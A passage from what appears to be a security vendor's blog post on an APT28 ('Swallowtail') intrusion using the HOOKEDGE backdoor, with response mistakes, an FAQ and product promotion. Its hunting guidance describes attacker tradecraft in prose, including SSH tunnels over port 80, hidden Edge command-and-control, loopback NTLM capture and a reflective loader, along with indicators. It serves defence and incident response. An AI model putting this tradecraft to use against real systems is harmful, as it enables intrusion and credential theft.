safeguard scan --dir .,--image <name>or--sbom <file>builds a component inventory and matches it against vulnerability databases, with results as JSON under ./output. The platform shows which projects contain a given component and version. - Gate changes with policy. Policies and gates evaluated in the platform can block, warn or require approval at defined checkpoints, which matters more when a developer's machine may not be trustworthy.
- Keep a human on every action. The Safeguard CLI's assistant can edit code and run commands, but asks first in its default flow;
/permissionsoffers Ask, Accept edits, Plan, Auto and Strict modes. The desktop and phone apps can send work to a computer running the CLI and approve each command. - Fix with review. Autonomous remediation can open fix pull requests for vulnerable dependencies; it ships off by default, so a person decides what runs.
Zero-Day Discovery and Gold
Zero-Day Discovery looks for previously unknown flaws in open source packages before a CVE exists, in an agentic mode and a deterministic scanner mode. Findings are issued as SGZ advisories before they reach public CVE databases. It covers seven package ecosystems.
Gold Open Source (gold.safeguard.sh) is free and needs no login. It offers searchable CVE intelligence with CVSS, EPSS, KEV status, affected and fixed versions and a recommended safe version, plus a free read API and a CI gate GitHub Action. Gold Registry (registry.safeguard.sh, paid) provides hardened drop in components and container images held to zero exploitable critical or high CVEs, SLSA L3 or above, Sigstore signed, with evidence pages. An artifact loses its badge if it regresses.
Neither applies directly to this intrusion. There was no CVE, no vulnerable open source package and nothing a curated registry could have replaced; Word, Edge, OpenSSH and Windows are outside the package ecosystems Zero-Day Discovery covers. The habit these capabilities support still matters for the rest of your estate: pull components from a curated, signed source, know exactly what you ship, and rebuild quickly when something changes, so that an attacker who does reach a build machine finds less to work with.
Common mistakes
- Blocking 23.220.75.245 and calling it done. Symantec presents it as a connectivity probe, not attacker infrastructure. Blocking it may break something unrelated and does nothing about the real C2.
- Hunting only for filenames. Symantec saw the launcher with random names and the same hash.
ld.exeis an easy name to change. Hunt behaviour: ssh.exe with forwards, Edge with off screen windows, loopback HTTP listeners. - Assuming the macro block is on because Microsoft changed the default. The default depends on channel and version and can be overridden by policy, trusted locations and trusted documents. Check it.
- Treating SSH on port 80 as web traffic. Firewalls that allow any destination on port 80 will pass it. Proxies and protocol aware sensors will not.
- Deleting the private key before preserving it. The key is evidence. Collect it, then remove it.
- Rebooting before capturing memory. The loader decrypts in memory. A reboot destroys the most useful evidence.
- Rotating only the obvious password. The NTLM capture took material for whoever was logged on. Rotate every account used on the host, and review service accounts that ran there.
- Assuming "two months" of attacker activity. The documented hands on activity was about a week; the implant stayed longer. Scope your log review to the whole window, but do not overstate what happened in your reporting.
- Waiting for a CVE. There is none. Nothing in your vulnerability scanner will flag this.
FAQ
What is Swallowtail?
Swallowtail is Symantec's name for the group more widely known as APT28, Fancy Bear, Forest Blizzard or BlueDelta. The US government attributes it to Russia's GRU, specifically the 85th GTsSS, military unit 26165, according to joint advisory AA25-141A, and MITRE ATT&CK tracks it as G0007, active since at least 2004.
What is HOOKEDGE?
A lightweight Windows backdoor built from batch scripts and a VBScript launcher, delivered by macro enabled Word documents. It uses a hidden Microsoft Edge instance to fetch commands and send results. Recorded Future first documented it in August 2026 and assesses with moderate confidence that it succeeds the older HEADLACE backdoor.
Which organisations were hit?
Symantec names the sectors only: a law enforcement agency, a naval shipbuilder and a military aircraft engine maker in two NATO member states. It does not name the organisations or the countries.
Was a vulnerability exploited?
No. Symantec's report describes a phishing document with a macro, followed by legitimate Windows tools. There is no CVE and no patch to apply.
Why would attackers use SSH on Windows?
Because it is already there. Windows 10 build 1809 and later and Windows Server 2019 and later include an OpenSSH client as an in-box feature. A signed Microsoft binary making an encrypted connection is less likely to be blocked than custom malware, and a remote forward gives the operators a way back into the network through the workstation.
Did the attackers steal passwords?
They captured NTLM authentication material using a loopback listener. That is not the same as a plaintext password, but it can be attacked offline, and weak passwords fall quickly. Treat it as a credential exposure.
What does ld.exe do?
It is a reflective loader. It decrypts a data file in memory using a key passed on the command line, then calls an exported function named ExecuteLoader. Symantec did not recover the encrypted payload, so the final stage's purpose is unknown.
Should I block webhook.site entirely?
That depends on whether your developers use it. For most office workstations there is no business need, and the Cloud Security Alliance recommends inventorying and restricting such services. At minimum, search proxy logs for the five published endpoint IDs.
Is my organisation at risk if we are not in defence?
The techniques work anywhere Office macros, the Windows SSH client and NTLM are enabled. APT28's targeting focuses on government, defence, logistics and organisations linked to support for Ukraine, per the joint advisory, but the defensive steps are worth doing in any Windows estate.
Did Safeguard detect this?
No. Safeguard does not do endpoint malware detection and was not involved. The detection and hunting work here belongs to endpoint, logging and network tools. Safeguard's role is supplier evidence, software inventory and controlled remediation around an incident like this.
Fix it without waiting for upstream
This intrusion had no vulnerable package, so there is no upstream fix to wait for. The point below still applies to the software your teams build and ship, which is what an operator inside a defence supplier will look at next.
In incidents like this one, most of the risk sits in two gaps. The first is the time between a fix being published and that fix actually running in your production builds. The second, and worse, is the time before any fix exists at all, while a maintainer works out a patch and a release schedule. Waiting through both gaps is a habit, not a requirement. Safeguard gives teams three ways to close them.
1. Autonomous remediation: pull requests, not tickets
When a fixed version exists, Safeguard's Griffin models open a tested, policy gated pull request that moves the affected dependency to the safe version. You can run it on one repository or in bulk across every project that carries the vulnerable version. Remediation covers eight categories, including dependencies, licenses, security posture and findings. Reachability analysis ranks the vulnerable code paths your application actually calls first, so the first pull requests you merge are the ones that matter most. Autonomous remediation ships switched off, with every category set to Manual, so your team decides how much runs on its own and what still needs a human approval.
2. Gold Open Source: the safe version in seconds, free
gold.safeguard.sh is free and needs no login. Search any CVE or package to see affected and fixed versions, CVSS, EPSS, CISA KEV status and a recommended safe version, or use the "Am I affected?" checker. The same data is available through a free read API, README status badges and RSS threat feeds. The safeguard-sh/gold-scan-action GitHub Action can fail a build on a known exploited vulnerability, on any known vulnerability, or never, so a version you have just removed cannot quietly come back in next week's merge.
3. Gold Registry: start from components that are already fixed
registry.safeguard.sh provides hardened, drop in replacements for upstream packages and container images. Every Gold artifact is held continuously to zero exploitable critical or high CVEs, zero malware and a completed license check, with SLSA L3 or higher provenance, a Sigstore signature and a public evidence page you can hand to an auditor. An artifact loses its Gold badge if it regresses. Teams can point their own package directory at the registry so hardened equivalents resolve without changing how developers install anything.
When upstream has no fix yet, or will not ship one, Safeguard first works to get the fix accepted upstream. If the issue is severe or upstream will not move, Safeguard builds a fork, fixes the vulnerability there and publishes a hardened Gold build, so you are not stuck on a maintainer's release schedule. You can also request a hardened, compatibility tested build of a specific package. This fork and patch flow is in early access today, so ask which packages it covers before you plan around it.
| Your situation | What to use |
|---|---|
| A fixed version exists | Autonomous remediation opens the upgrade pull request; Gold Open Source confirms the safe version |
| You need to know today whether you are affected | Gold Open Source lookup and "Am I affected?" checker, free and without login |
| You want vulnerable versions to stop shipping | The Gold scan GitHub Action in CI, plus Safeguard policies and gates |
| Upstream has no fix yet, or will not ship one | A custom Gold request; fork and patch (early access) |
| You want to start clean on new projects | Pull hardened components and images from Gold Registry |
One honest limit: when the vulnerable code lives in a vendor appliance, a hosted service or an operating system runtime you do not build yourself, the fix still has to come from that vendor or distribution. The steps above apply to the open source dependencies and container images you build and ship, which is where most teams carry the largest and least tracked share of their exposure.
See how Safeguard would have helped
None of these demos show this intrusion, HOOKEDGE or any malware, and Safeguard would not have detected it. Each one shows a real flow built on the principle this case breaks: a program on a workstation should not start other programs, open tunnels or change files without a person saying yes.
The first demo is a real CLI session. It installs the CLI, opens the interactive terminal with safeguard, and asks it to fix a lodash CVE; the assistant reads the finding and advisory, asks before each command, edits package.json to lodash 4.17.21, runs npm install and npm test with approval, and pushes nothing. At the shipbuilder, a batch script ran ssh.exe, curl and PowerShell with nobody asked. In this flow every command waits for you, and after an incident you could run the same /scan . over the repositories an affected engineering workstation could reach.
Click through it at your own pace, or open it full screen.
The second demo is a real desktop app session. The CLI session shows in the conversation list, you ask for work on your computer, pick the folder, then Approve or Deny each command and file edit; it ends with the upgrade done and tests passing. After a workstation compromise, this is how you would rebuild and review a project on a clean machine: scoped to one folder, with each change shown to you before it happens.
Click through it at your own pace, or open it full screen.
The third demo is a real Android session: work is sent to a computer running the CLI and the command is approved on the phone with Allow once, Allow for turn or Deny. The Swallowtail operators planted a key and opened a backgrounded SSH tunnel with no prompt at all. In this flow nothing runs until a named person taps Allow, even when they are away from the desk.
Click through it at your own pace, or open it full screen.
To try it on your own repositories, download Safeguard and follow the CLI docs. For the wider month, see October 2026 security incidents and what would have helped and edge device zero-days in October 2026. If an engineering machine was involved, our compromised dependency playbook and our guide to finding affected products fast with SBOMs cover the software side of the response.
Quick check
Which single network signal from this intrusion is easiest to hunt across a whole estate?
An SSH handshake to an internet address on port 80. Protocol aware sensors such as Zeek log SSH by protocol rather than port, so a workstation talking SSH to 185.82.218.119 on port 80 stands out immediately, and very few legitimate office machines ever do that.
Why should you capture the ld.exe command line before anything else?
Because the loader needs a key passed on the command line to decrypt Events.dat in memory. Without that key, the data file is unreadable, so process creation logs and memory are the only way to learn what the final payload was.
Sources
- Symantec Threat Hunter Team: Swallowtail targets NATO member states (20 Oct 2026)
- The Hacker News: Russian APT28 breaches NATO naval shipbuilder (20 Oct 2026)
- CyberScoop: Russian hackers APT28 target NATO defense firms (20 Oct 2026)
- Cyber Press: APT28 breaches NATO shipbuilder
- CyPro cyber bulletin: APT28 NATO campaign hits defence contractors
- The Hacker News: APT28-linked HOOKEDGE backdoor targets European government and diplomatic organizations (28 Aug 2026)
- Security Affairs: Russian APT BlueDelta uses HOOKEDGE (Aug 2026)
- Cloud Security Alliance research note: APT28 HOOKEDGE backdoor (31 Aug 2026)
- CISA joint advisory AA25-141A: Russian GRU targeting Western logistics entities and technology companies
- MITRE ATT&CK: APT28, G0007
- Microsoft Learn: Macros from the internet are blocked by default in Office
- Microsoft Learn: Get started with OpenSSH for Windows
- Microsoft Learn: Network security, Restrict NTLM, outgoing NTLM traffic to remote servers
Last reviewed: 22 October 2026. This is a developing story; check the linked advisories for the latest status.